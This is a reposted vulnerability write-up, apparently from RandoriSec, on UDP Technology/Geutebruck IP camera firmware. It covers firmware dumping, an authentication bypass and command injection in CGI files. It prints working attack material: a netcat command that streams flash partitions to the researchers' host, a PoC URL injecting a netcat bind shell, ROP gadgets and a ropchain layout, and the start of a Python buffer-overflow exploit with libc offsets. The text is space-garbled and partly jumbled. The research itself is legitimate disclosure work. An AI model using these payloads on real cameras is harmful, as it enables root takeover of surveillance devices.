搜索

[29070] 2021-07-18_【安全分析】UDP技术IP摄像机漏洞

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-07-18_【安全分析】UDP技术IP摄像机漏洞 【 安 全 分 析 】 U D P   技 术   I P   摄 像 机 漏 洞 O t s 安 全   2 0 2 1 - 0 7 - 1 8 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 在   R a n d o r i s e c ， 我 们 长 期 以 来 一 直 在 研 究   U D P   技 术   I P   摄 像 机 固 件 。 U D P   技 术 为 许 多   I P   摄 像 机 供 应 商 提 供 固 件 ， 例 如 ： G e u t e b r u c k G a n z V i s u a l i n t C a p T H R I V E   I n t e l l i g e n c e S o p h u s V C A T r i p C o r p s S p r i n x   T e c h n o l o g i e s S m a r t e c R i v a 他 们 还 在 亚 洲 以 自 己 的 品 牌 销 售 自 己 的 相 机 。 我 们 已 经 报 告 了 在   G e u t e b r u c k   产 品 上 发 现 的 几 个 关 键 漏 洞 （ 从   R C E   到 身 份 验 证 绕 过 ） 。 G e u t e b r u c k   一 直 是 我 们 接 触   U D P   技 术 的 主 要 联 系 人 。 事 实 上 ， 尽 管 有 大 量 邮 件 和   L i n k e d I n   消 息 ， U D P   T e c h n o l o g y   从 未 屈 尊 承 认 我 们 的 报 告 。 由 于 新 固 件 发 布 ， 有 时 无 法 正 确 修 复 报 告 的 漏 洞 ， 我 们 决 定 跟 随 新 固 件 的 发 布 ， 寻 找 更 多 漏 洞 。 这 次 我 们 发 现 了 1 1   个 经 过 身 份 验 证 的   R C E 和 一 个 完 整 的 身 份 验 证 绕 过 。 回 顾 之 前 的 发 现 回 顾 之 前 的 发 现 自   2 0 1 7   年 以 来 ， 这 里 已 经 发 布 了 几 篇 关 于   U D P   技 术 的 博 文 ： G e u t e b r u c k   I P   摄 像 机 上 的 匿 名   R C E h t t p s : / / w w w . r a n d o r i s e c . f r / a n o n y m o u s - r c e - o n - g e u t e b r u c k - i p - c a m e r a s / G e u t e b r u c k   I P   C a m e r a   上 的 匿 名   R C E （ 再 次 ） h t t p s : / / w w w . r a n d o r i s e c . f r / 0 d a y - a n o n y m o u s - r c e - o n - g e u t e b r u c k - i p - c a m e r a s - a g a i n / G e u t e b r u c k   I P   摄 像 机 上 的   S 0 3 E 0 1   R C E h t t p s : / / w w w . r a n d o r i s e c . f r / s 0 3 e 0 1 - r c e - o n - g e u t e b r u c k - i p - c a m e r a s / G e u t e b r u c k   I P   摄 像 机 上 的   S 0 4 E 0 1   R C E h t t p s : / / w w w . r a n d o r i s e c . f r / s 0 4 e 0 1 - r c e - o n - g e u t e b r u c k - i p - c a m e r a s / G e u t e b r u c k   I P   摄 像 机 上 的   S 0 5 E 0 1   R C E h t t p s : / / w w w . r a n d o r i s e c . f r / s 0 5 e 0 1 - r c e - o n - g e u t e b r u c k - i p - c a m e r a s / 阅 读 之 前 的 博 文 不 是 强 制 性 的 ， 但 它 仍 然 很 有 趣 ； ) 命 令 注 入 和 身 份 验 证 绕 过 命 令 注 入 和 身 份 验 证 绕 过 U D P   技 术 的 固 件 在 暴 露 给 浏 览   W e b   界 面 的 用 户 的   C G I   文 件 中 遭 受 了 多 次 命 令 注 入 的 影 响 。 过 去 在 该 产 品 中 发 现 了 多 次 身 份 验 证 绕 过 。 在 这 里 ， 该 产 品 的 先 前 版 本 也 容 易 受 到 这 种 新 的 身 份 验 证 绕 过 方 法 的 影 响 。 在 这 些 固 件 （ 1 . 1 2 . 0 . 2 5 之 前 ） 上 ， 存 在   4   个 角 色 或 访 问 级 别 ： 匿 名 的 查 看 器 操 作 员 行 政 人 员 基 本 上 ， / v i e w e r / . . / 在 通 过   W e b   界 面 访 问 资 源 时 将 其 添 加 到 资 源 前 可 让 您 将 其 降 低 到 查 看 器 访 问 级 别 。 在 固 件 1 . 1 2 . 0 . 2 5   之 前 ， 配 置 允 许 匿 名 用 户 （ 使 用 匿 名 级 别 ） 通 过 默 认 启 用 的 “ 启 用 匿 名 查 看 器 登 录 （ 无 需 用 户 名 或 密 码 ） ” 选 项 具 有 查 看 器 访 问 级 别 。 结 合 身 份 验 证 绕 过 和 经 过 身 份 验 证 的   R C E ， 可 以 在 默 认 配 置 下 以   r o o t   身 份 实 现   R C E 。 让 我 们 重 新 开 始 让 我 们 重 新 开 始 步 骤 步 骤   0   -   固 件 分 析 固 件 分 析 首 先 ， 我 们 开 始 查 看 最 新 的 固 件 （ 1 . 1 2 . 0 . 2 7 ） 。 ~ / g e u t e b r u c k / g e u t e b r u c k / f i r m w a r e s / E 2 - V 1 . 1 2 . 0 . 2 7     f i l e   i p x _ f i r m w a r e - V 1 . 1 2 . 0 . 2 7 . G e u t e b r u c k 1 1 2 0 2 7 . 2 0 0 5 2 2 . e n c   i p x _ f i r m w a r e - V 1 . 1 2 . 0 . 2 7 . G e u t e b r u c k 1 1 2 0 2 7 . 2 0 0 5 2 2 . e n c :   d a t a ~ / g e u t e b r u c k / g e u t e b r u c k / f i r m w a r e s / E 2 - V 1 . 1 2 . 0 . 2 7     b i n w a l k   i p x _ f i r m w a r e - V 1 . 1 2 . 0 . 2 7 . G e u t e b r u c k 1 1 2 0 2 7 . 2 0 0 5 2 2 . e n c   |   h e a d  
B i n w a l k   识 别 出 固 件 包 含 许 多   Z l i b   压 缩 数 据 。 在 尝 试 提 取 它 们 之 后 ， 发 现 了 大 量 没 有 任 何 相 关 内 容 的 数 据 。 由 于 之 前 的 漏 洞 ， 我 们 知 道 我 们 的 目 标 是   L i n u x   系 统 。 我 们 一 直 在 寻 找 已 知 的 文 件 系 统 ， 甚 至 直 接 常 见 的   l i n u x   文 件 ， 例 如   E L F   [ 0 ] 二 进 制 文 件 或 配 置 文 件 。 这 可 能 表 示 固 件 已 加 密 （ 注 意 文 件 名 上 的 后 缀 “ . e n c ” ） 。 我 们 可 以 通 过 对 固 件 进 行 熵 分 析 来 确 认 这 一 假 设 ， 高 熵 表 明 固 件 被 加 密 的 可 能 性 很 高 。 步 骤   1   -   重 现 以 前 的 漏 洞 并 转 储 正 在 运 行 的 固 件 如 果 我 们 无 法 从 固 件 中 提 取 文 件 系 统 ， 我 们 可 以 从 正 在 运 行 的 相 机 中 提 取 它 。 进 行 研 究 时 ， 可 用 的 最 新 固 件 版 本 是   1 . 1 2 . 0 . 2 7 。 R a n d o r i S e c   报 告 了 固 件   1 . 1 2 . 0 . 2 5   中 的 多 个 漏 洞 ， 我 们 仍 然 有 运 行 此 固 件 版 本 的 相 机 。 通 过 使 用 之 前 报 告 的 漏 洞 t e s t a c t i o n . c g i ， 我 们 设 法 使 用 固 件   1 . 1 2 . 0 . 2 5   在 相 机 上 获 得 了 一 个   r o o t   s h e l l 。 我 们 的 方 法 如 下 ： 1 .   从 正 在 运 行 的 相 机 版 本   1 . 1 2 . 0 . 2 5   获 取 感 兴 趣 的 文 件 系 统 / 二 进 制 文 件 2 .   在 固 件   1 . 1 2 . 0 . 2 5   上 发 现 新 漏 洞 3 .   在 最 新 固 件   ( 1 . 1 2 . 0 . 2 7 )   上 验 证 这 些 漏 洞 4 .   如 果 最 后 一 部 分 成 功 ， 则 从   1 . 1 2 . 0 . 2 7   下 载 二 进 制 文 件 转 储 分 区 转 储 分 区 ~ / g e u t e b r u c k / g e u t e b r u c k / f i r m w a r e s / E 2 - V 1 . 1 2 . 0 . 2 7     b i n w a l k   i p x _ f i r m w a r e - V 1 . 1 2 . 0 . 2 7 . G e u t e b r u c k 1 1 2 0 2 7 . 2 0 0 5 2 2 . e n c   |   h e a d   D E C I M A L               H E X A D E C I M A L           D E S C R I P T I O N - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 0 1 1 6 1 0               0 x 1 E B 1 D A                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n 2 0 1 4 0 9 1               0 x 1 E B B 8 B                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n 2 0 1 6 5 4 3               0 x 1 E C 5 1 F                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n 2 0 1 9 1 6 0               0 x 1 E C F 5 8                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n 2 0 2 1 7 2 2               0 x 1 E D 9 5 A                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n 2 0 2 4 2 4 7               0 x 1 E E 3 3 7                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n 2 0 2 6 8 6 0               0 x 1 E E D 6 C                 Z l i b   c o m p r e s s e d   d a t a ,   d e f a u l t   c o m p r e s s i o n ~ / g e u t e b r u c k / g e u t e b r u c k / f i r m w a r e s / E 2 - V 1 . 1 2 . 0 . 2 7     b i n w a l k   - M e   i p x _ f i r m w a r e - V 1 . 1 2 . 0 . 2 7 . G e u t e b r u c k 1 1 2 0 2 7 . 2 0 0 5 2 2 . e n c l s   - a l   / d e v t o t a l   1 . . . c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       0   A p r   1 2   1 5 : 2 1   m t d 0 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       1   A p r   1 2   1 5 : 2 1   m t d 0 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       2   A p r   1 2   1 5 : 2 1   m t d 1 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     2 0   A p r   1 2   1 5 : 2 1   m t d 1 0 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     2 1   A p r   1 2   1 5 : 2 1   m t d 1 0 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     2 2   A p r   1 2   1 5 : 2 1   m t d 1 1 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     2 3   A p r   1 2   1 5 : 2 1   m t d 1 1 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       3   A p r   1 2   1 5 : 2 1   m t d 1 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       4   A p r   1 2   1 5 : 2 1   m t d 2 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       5   A p r   1 2   1 5 : 2 1   m t d 2 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       6   A p r   1 2   1 5 : 2 1   m t d 3 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       7   A p r   1 2   1 5 : 2 1   m t d 3 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       8   A p r   1 2   1 5 : 2 1   m t d 4 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,       9   A p r   1 2   1 5 : 2 1   m t d 4 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 0   A p r   1 2   1 5 : 2 1   m t d 5 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 1   A p r   1 2   1 5 : 2 1   m t d 5 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 2   A p r   1 2   1 5 : 2 1   m t d 6 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 3   A p r   1 2   1 5 : 2 1   m t d 6 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 4   A p r   1 2   1 5 : 2 1   m t d 7
中 存 在   1 1   个   M T D   [ 1 ] 节 点 / d e v / 。 M T D   节 点 是 物 联 网 [ 2 ]   [ 3 ]   中 经 常 使 用 的 块 设 备 。 我 们 / d e v / m t d 使 用 n e t c a t 转 储 每 个 文 件   以 将 原 始 分 区 直 接 发 送 到 我 们 的 主 机 。 这 样 做 ， 我 们 检 索 了 相 机 上 的 每 个   M T D   设 备 。 m t d 6   特 别 有 趣 ， 因 为 它 拥 有   J F F S 2   [ 4 ] 文 件 系 统 。 引 用 源 软 件 [ 4 ] ： “ J F F S 2   是 一 种 日 志 结 构 的 文 件 系 统 ， 设 计 用 于 嵌 入 式 系 统 中 的 闪 存 设 备 ” 。 现 在 我 们 检 索 了   J F F S   分 区 ， 我 们 可 以 使 用   j e f f e r s o n   [ 5 ] 提 取 它 ， 或 者 像   L i n u x   上 的 任 何 通 用 文 件 系 统 一 样 挂 载 它 。 另 一 个 快 速 选 择 仍 然 是 利 用   s h e l l   并 只 转 储 感 兴 趣 的 二 进 制 文 件 。 专 注 于 网 络 根 专 注 于 网 络 根 考 虑 到   W e b   服 务 器 经 常 公 开 暴 露 在   I n t e r n e t   上 ， 我 们 决 定 首 先 关 注   W e b   服 务 器 ， 然 后 再 处 理 任 何 其 他 服 务 。 根 据   H T T P   服 务 器 的 配 置 文 件   / v a r / c o n f i g / w w w / l i g h t t p d . c o n f ， 所 使 用 的   w e b   根 目 录 的 位 置 是 / u s r / w w w . 第   2   步   -   抓 住 悬 而 未 决 的 果 实 ： 命 令 注 射 考 虑 到 以 往 报 道 的 漏 洞 性 质 ， 我 们 直 接 开 始 寻 找 R C E （ 更 准 确 的 说 是 命 令 注 入 ） 。 前 面 的 命 令 返 回 大 约   1 8 1   个 结 果 ， 其 中 一 些 是 到 其 他 的 符 号 链 接 。 我 们 首 先 开 始 看 / u a p i - c g i / 。 为 了 过 滤 容 易 被 命 令 注 入 的   C G I   文 件 ， 我 们 列 出 了 它 们 的 外 部 符 号 以 寻 找 对 以 下 函 数 的 调 用 ： 流 行 [ 6 ] 系 统 [ 7 ] 执 行 *   [ 8 ] c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 4   A p r   1 2   1 5 : 2 1   m t d 7 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 5   A p r   1 2   1 5 : 2 1   m t d 7 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 6   A p r   1 2   1 5 : 2 1   m t d 8 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 7   A p r   1 2   1 5 : 2 1   m t d 8 r o c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 8   A p r   1 2   1 5 : 2 1   m t d 9 c r w - r w - - - -         1   r o o t           r o o t               9 0 ,     1 9   A p r   1 2   1 5 : 2 1   m t d 9 r o b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       0   A p r   1 2   1 5 : 2 1   m t d b l o c k 0 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       1   A p r   1 2   1 5 : 2 1   m t d b l o c k 1 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,     1 0   A p r   1 2   1 5 : 2 1   m t d b l o c k 1 0 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,     1 1   A p r   1 2   1 5 : 2 1   m t d b l o c k 1 1 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       2   A p r   1 2   1 5 : 2 1   m t d b l o c k 2 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       3   A p r   1 2   1 5 : 2 1   m t d b l o c k 3 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       4   A p r   1 2   1 5 : 2 1   m t d b l o c k 4 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       5   A p r   1 2   1 5 : 2 1   m t d b l o c k 5 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       6   A p r   1 2   1 5 : 2 1   m t d b l o c k 6 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       7   A p r   1 2   1 5 : 2 1   m t d b l o c k 7 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       8   A p r   1 2   1 5 : 2 1   m t d b l o c k 8 b r w - r w - - - -         1   r o o t           r o o t               3 1 ,       9   A p r   1 2   1 5 : 2 1   m t d b l o c k 9 d r w x r - x r - x         2   r o o t           r o o t                       5 2 0   A p r   1 2   1 5 : 2 1   m t d p a r t . . . n c   1 9 2 . 1 6 8 . 1 4 . 1 0 1   4 0 4 1   <   / d e v / m t d X ~ / g e u t e b r u c k / f i r m w a r e _ e x t     f i l e   m t d * m t d 0 :     d a t a m t d 1 :     d a t a m t d 1 0 :   d a t a m t d 1 1 :   d a t a m t d 2 :     u - b o o t   l e g a c y   u I m a g e ,   L i n u x - 2 . 6 . 1 8 _ I P N X _ P R O D U C T _ 1 . 1 . 2 - ,   L i n u x / A R M ,   O S   K e r n e l   I m a g e   ( N o t   c o m p r e s s e d ) ,   1 8 5 5 9 0 8   b y t e s ,   W e d   N o v   3 0   1 0 : 4 7 : 4 9   2 0 1 6 ,   L o a d   A d d r e s s :   0 x 8 0 0 0 8 0 0 0 ,   E n t r y   P o i n t :   0 x 8 0 0 0 8 0 0 0 ,   H e a d e r   C R C :   0 x B E F 4 D F F 0 ,   D a t a   C R C :   0 x D 0 2 C C F 2 6 m t d 3 :     L i n u x   j f f s 2   f i l e s y s t e m   d a t a   l i t t l e   e n d i a n m t d 4 :     u - b o o t   l e g a c y   u I m a g e ,   L i n u x - 2 . 6 . 1 8 _ I P N X _ P R O D U C T _ 1 . 1 . 2 - ,   L i n u x / A R M ,   O S   K e r n e l   I m a g e   ( N o t   c o m p r e s s e d ) ,   1 8 5 5 8 1 2   b y t e s ,   T u e   M a y   1 2   0 9 : 0 0 : 4 7   2 0 2 0 ,   L o a d   A d d r e s s :   0 x 8 0 0 0 8 0 0 0 ,   E n t r y   P o i n t :   0 x 8 0 0 0 8 0 0 0 ,   H e a d e r   C R C :   0 x F 4 E 6 E 5 0 6 ,   D a t a   C R C :   0 x 5 B 9 B C 3 B 7 m t d 5 :     L i n u x   C o m p r e s s e d   R O M   F i l e   S y s t e m   d a t a ,   l i t t l e   e n d i a n   s i z e   2 6 8 0 0 1 2 8   v e r s i o n   # 2   s o r t e d _ d i r s   C R C   0 x 4 f 9 d 0 6 5 c ,   e d i t i o n   0 ,   1 3 5 7 0   b l o c k s ,   1 5 6 8   f i l e s m t d 6 :     L i n u x   j f f s 2   f i l e s y s t e m   d a t a   l i t t l e   e n d i a n m t d 7 :     d a t a m t d 8 :     d a t a m t d 9 :     d a t a #   p s   - a u x   . . .   1 0 4 8   r o o t               0 : 0 0   / u s r / l o c a l / l i g h t t p d / s b i n / l i g h t t p d   - f   / v a r / c o n f i g / w w w / l i g h t t p d . c o n f   - m   / u s r / l i b . . . f i n d   w e b r o o t   - n a m e   * c g i ~ / g e u t e b r u c k / b i n a r i e s _ 2 7 / a l l _ c g i _ i n _ r o o t     f o r   i   i n   * . c g i ; d o       o b j d u m p   - T   $ i   2 > / d e v / n u l l     |   g r e p   - E   ' ( p o p e n | s y s t e m | e x e c ) '   >   / d e v / n u l l   & &   e c h o   $ i ;  
这 将 潜 在 易 受 攻 击 的   C G I   文 件 集 减 少 到 这   2 8   个 文 件 。 现 在 ， 我 们 可 以 开 始 使 用 我 们 最 喜 欢 的 反 汇 编 程 序 打 开 每 个 文 件 。 让 我 们 从 让 我 们 从 c e r t m n g r . c g i 开 始 开 始 让 我 们 看 一 下 包 含 对   e x e c / s y s t e m / p o p e n ,   c e r t m n g r   的 调 用 的 第 一 个   c g i   文 件 。 注 意 ： 原 始 二 进 制 文 件 不 包 含 符 号 ， 因 此 函 数 名 称 已 重 命 名 。 确 定 主 函 数 后 ， 我 们 检 查 可 以 用 来 与   C G I   交 互 的 不 同 输 入 。 在 调 用 返 回 值 的 q C g i R e q u e s t s P a r s e Q u e r i e s 之 后 ， 该 值 被 传 递 给 函 数 s u b _ A 0 1 0 。 此 函 数 采 用 参 数 名 称 并 返 回 指 向 该 值 的 指 针 。 我 们 可 以 看 到 参 数 列 表 ： a c t i o n g r o u p c o u n t r y s t a t e l o c a l o r g a n i z a t i o n o r g a n i z a t i o n u n i t c o m m o n n a m e d o n e c e r t m n g r . c g i c o u n t r e p o r t . c g i d a t e t i m e . c g i d o w n l o a d . c g i e n c p r o f i l e . c g i e v n p r o f i l e . c g i e x t c o u n t e r . c g i f a c t o r y . c g i f w u p l o a d . c g i i m p e x p . c g i i n s t a n t r e c . c g i l a n g u a g e . c g i l o g d o w n l o a d . c g i m e t a d a t a . c g i n e t i n f o . c g i n e t w o r k . c g i n p a r a m . c g i n t p s y n c . c g i o e m . c g i r e b o o t . c g i r e s o u r c e . c g i s i m p l e _ l o g l i s t j s . c g i s i m p l e _ r e c l i s t j s . c g i s t a t u s . c g i t e s t a c t i o n . c g i t e s t c m d . c g i t i m e z o n e . c g i t m p a p p . c g i
d a y s t y p e 请 记 住 ， 我 们 正 在 寻 找 命 令 注 入 ， 因 此 我 们 直 接 寻 找 对   s y s t e m 、 e x e c   和   p o p e n   的 调 用 。 找 到 系 统 函 数 后 ， 我 们 列 出 它 的 交 叉 引 用 。 我 们 探 索 了 两 个 交 叉 引 用 。 我 们 可 以 看 到 函 数 o p e n s s l _ n e w 。 此 函 数 使 用 s n p r i n t f 构 建 一 个 字 符 串 ， 并 将 其 直 接 用 作 s y s t e m   的 参 数 。 请 注 意 ， 如 果 我 们 可 以 将 输 入 放 入 此 字 符 串 中 ， 我 们 就 可 以 获 得 命 令 执 行 。 我 们 可 以 只 遵 循 参 数 流 程 ， 寻 找 另 一 个 交 叉 引 用 ， 然 后 我 们 直 接 到 达   m a i n 。 我 们 直 接 控 制 几 乎 所 有 用 于 构 建 传 递 给 系 统 的 命 令 的 字 符 串 o p e n s s l _ n e w 。 （ 然 而 ， 一 个 就 足 够 了 。 ） 所 以 ， 让 我 们 建 立 一 个 快 速 的 概 念 证 明 我 们 需 要 正 确 设 置 所 涉 及 的 每 个 参 数 ， 否 则 负 责 解 析 参 数 的 函 数 将 返 回 一 个 空 指 针 ， 该 指 针 将 在 没 有 任 何 检 查 的 情 况 下 被 取 消 引 用 ， 导 致 程 序 在 到 达 系 统 函 数 之 前 崩 溃 ： a c t i o n   :   c r e a t e s e l f c e r t ， 到 达 系 统 调 用 所 需 的 操 作 本 地 ： 任 何 国 家 ： A A ， （ 由 于 额 外 检 查 ， 它 只 需 要   2   个 字 符 长 ） 状 态 ： 我 们 的 有 效 载 荷 组 织 ： 任 何 组 织 单 位 ： 任 何 通 用 名 称 ： 任 何 东 西 天 数 ： 任 意 数 字 类 型 ： 任 何
唯 一 的 其 他 限 制 是 构 建 的 最 终 字 符 串 是 有 效 的   b a s h   命 令 。 此 时 我 们 可 以 将 相 机 更 新 到 最 新 固 件 ， 利 用 我 们 新 发 现 的 漏 洞 ， 并 重 新 检 查 每 个   C G I   文 件 以 确 保 我 们 的 漏 洞 仍 然 存 在 于 最 新 版 本 的 二 进 制 文 件 中 。 我 们 现 在 有 我 们 的 第 一 个   R C E   作 为   r o o t 。 它 需 要 一 个 管 理 员 帐 户 来 触 发 它 。 每 个   C G I   文 件 所 需 的 访 问 级 别 取 决 于 它 所 属 的 文 件 夹 。 每 个   C G I   文 件 都 在 / u a p i - c g i / 文 件 夹 中 。 但 是 ， 在 那 里 不 能 直 接 访 问 它 们 。 在 该 / u a p i - c g i / 文 件 夹 中 ， 还 有   3   个 其 他 子 文 件 夹 ： 行 政 操 作 员 观 众 这 些 文 件 夹 中 的 每 一 个 都 包 含 指 向 此 访 问 级 别 的   C G I   文 件 的 符 号 链 接 。 管 理 员 可 以 执 行 每 个   C G I   文 件 。 查 看 器 的 子 集 要 小 得 多 。 请 注 意 ， 配 置 面 板 上 提 供 的 新 固 件 默 认 禁 用 的 设 置 允 许 无 需 任 何 身 份 验 证 即 可 访 问 查 看 者 权 限 。 无 论 访 问 级 别 如 何 ， 我 们 首 先 专 注 于 拥 有   R C E 。 然 后 继 续 剩 下 的 c g i 文 件 ， 收 集 c g i 通 过 对 每 个   C G I   文 件 应 用 或 多 或 少 相 同 的 方 法 ， 我 们 在 以 下   C G I   文 件 中 发 现 了 相 同 类 型 的 漏 洞 ： c e r t m n g r . c g i f a c t o r y . c g i l a n g u a g e . c g i o e m . c g i s i m p l e _ r e c l i s t j s . c g i t e s t c m d . c g i t m p a p p . c g i 我 们 为 每 个   R C E   开 发 了   P o C   和   M e t a s p l o i t   模 块 。 第   3   步   -   让 我 们 更 深 入 ！ 利 用 缓 冲 区 溢 出 我 们 有 很 多 用   C   语 言 开 发 的   C G I   文 件 ， 但 很 少 关 注 安 全 最 佳 实 践 。 因 此 ， 至 少 快 速 查 看 缓 冲 区 溢 出 和 其 他 类 型 的 内 存 损 坏 错 误 似 乎 很 自 然 。 没 有 “ 捷 径 ” 可 以 过 滤 具 有 潜 在 缓 冲 区 溢 出 的   C G I   文 件 ， 我 们 只 是 单 独 分 析 了 它 们 中 的 每 一 个 。 我 们 发 现 了   4   个 经 典 的 堆 栈 缓 冲 区 溢 出 ： c o u n t r e p o r t . c g i e n c p r o f i l e . c g i e v n p r o f i l e . c g i i n s t a n t r e c . c g i 让 我 们 专 注 于 i n s t a n t r e c . c g i 文 件 ： 稍 后 在   m a i n   函 数 中 ， 我 们 可 以 看 到 很 多 字 符 串 操 作 ， 而 无 需 检 查 o p t i o n 或 a c t i o n 等 不 同 参 数 的 大 小 。 h t t p : / / 1 9 2 . 1 6 8 . 1 4 . 5 8 / u a p i - c g i / a d m i n / c e r t m n g r . c g i ? a c t i o n = c r e a t e s e l f c e r t & l o c a l = a n y t h i n g & c o u n t r y = A A & s t a t e = % 2 4 ( n c % 2 0 - l p % 2 0 5 0 9 8 % 2 0 - e % 2 0 / b i n / b a s h ) & o r g a n i z a t i o n = a n y t h i n g & o r g a n i z a t i o n u n i t = a n y t h i n g & c o m m o n n a m e = a n y t h i n g & d a y s = 1 & t y p e = a n y t h i n g
我 们 这 里 有 一 个 堆 栈 缓 冲 区 溢 出 。 对 于 那 些 不 熟 悉 缓 冲 区 溢 出 的 人 ， 可 以 在   I n t e r n e t   [ 9 ]   [ 1 0 ] 上 找 到 大 量 好 的 文 档 。 开 发 开 发   -   R O P 保 护 保 护 在 开 始 利 用 之 前 ， 我 们 需 要 了 解 不 同 的 安 全 对 策 。 没 有 堆 栈 粉 碎 保 护 [ 1 1 ] 或   N X   [ 1 2 ] ， 这 意 味 着 放 置 在 堆 栈 上 的 数 据 可 以 是 可 执 行 的 。 系 统 上 使 用 的   A S L R   [ 1 3 ] 真 的 很 弱 。 A S L R   负 责 随 机 化 进 程 的 部 分 地 址 空 间 。 由 于 弱 配 置 ， 只 有 堆 栈 地 址 和 堆 是 随 机 的 。 奇 怪 的 是 ， 与 我 们 在 互 联 网 上 找 到 的 相 比 ， 这 并 没 有 随 机 化 共 享 库 的 地 址 。 我 们 不 确 定 我 们 遇 到 这 种 行 为 的 确 切 原 因 ， 可 能 是 因 为 我 们 在 这 里 面 临 的 内 核 版 本 非 常 旧 ： 让 我 们 让 我 们   R O P 为 了 利 用 这 个 堆 栈 缓 冲 区 溢 出 ， 我 们 选 择 进 行 面 向 返 回 的 编 程 攻 击 [ 1 4 ] 。 这 可 能 看 起 来 不 是 远 程 代 码 执 行 的 直 接 方 式 ， 但 是 ， 该 解 决 方 案 允 许 我 们 不 必 为 此 架 构 生 成   s h e l l c o d e ， 并 避 免 任 何 堆 栈 地 址 的 暴 力 破 解 。 这 个 漏 洞 利 用 的 总 体 思 路 是 使 用   l i b c   中 的 小 工 具 将 字 符 串 写 入   l i b c   的 数 据 部 分 。 然 后 我 们 用 这 个 新 写 的 字 符 串 作 为 参 数 调 用 系 统 函 数 。 首 先 ， 我 们 使 用 r o p p e r 从   l i b c   中 检 索 我 们 需 要 的 小 工 具 。 此 漏 洞 利 用 所 需 的   / l i b / l i b c . s o . 7   中 的 小 工 具 列 表 为 了   R O P   到   l i b c   中 ， 我 们 需 要   l i b c   基 地 址 ， 因 为 弱   A S L R ， 我 们 可 以 使 用 / p r o c / P I D / m a p s . 要 在 数 据 部 分 写 入 字 符 串 ， 我 们 首 先 将 要 写 入 的 字 符 串 的   4   个 字 节 弹 出 到 r 1 .   然 后 我 们 将 其 存 储 在 地 址   r 4   +   0 x 1 4   处 。 R o p c h a i n   示 例 ， 编 写 “ / b i n / s h ; ”   在   0 x 1 0 0 0 之 后 ， 我 们 只 是 将 新 写 入 的 字 符 串 的 地 址 p o p   到 其 中 ， r 0 然 后 我 们 返 回 到 l i b c   中 系 统 函 数 的 开 头 。 我 们 编 写 了 一 个   P y t h o n   漏 洞 利 用 程 序 ， 以 便 我 们 可 以 执 行 任 意 命 令 。 #   c a t   / p r o c / s y s / k e r n e l / r a n d o m i z e _ v a _ s p a c e 1 #   u n a m e   - a L i n u x   E F D - 2 2 5 0   2 . 6 . 1 8 _ I P N X _ P R O D U C T _ 1 . 1 . 2 - g 3 5 3 2 e 8 7 a   # 1   P R E E M P T   T u e   M a y   1 2   1 8 : 0 0 : 4 6   K S T   2 0 2 0   a r m v 5 t e j l   G N U / L i n u x 0 x 0 0 0 6 7 8 1 c :   s t r   r 1 ,   [ r 4   +   0 x 1 4 ] ;   p o p   r 4 ,   p c ; 0 x 0 0 1 0 1 d e 4 :   p o p   r 0 ,   p c 0 x 0 0 1 0 2 5 2 c :   p o p   r 1 ,   p c 0 x 0 0 0 1 5 1 6 4 :   p o p   r 4 ,   p c |   p o p   r 4 ,   p c                                           |   < - - -   S t a c k   P o i n t e r |   0 x 1 0 0 0   -   0 x 1 4                                     | |   p o p   r 1 ,   p c                                           | |   " n i b / "                                                   | |   s t r   r 1   [ r 4   +   0 x 1 4 ] ;   p o p   r 4 ,   p c   | |   0 x 1 0 0 0   +   4   -   0 x 1 4                             | |   p o p   r 1 ,   p c                                           | |   " ; h s / "                                                   | |   s t r   r 1   [ r 4   +   0 x 1 4 ] ;   p o p   r 4 ,   p c   | i m p o r t   r e q u e s t s i m p o r t   s t r u c t i m p o r t   s y s u s e r n a m e   =   ' a d m i n ' p a s s w o r d   =   ' r o o t '   P A D _ S I Z E = 5 3 6 p a d d i n g   =   b " a " * P A D _ S I Z E l i b c _ a d d   =   0 x 4 0 2 d a 0 0 0 s y s t e m _ o f f   =   0 x 0 0 3 5 7 f c
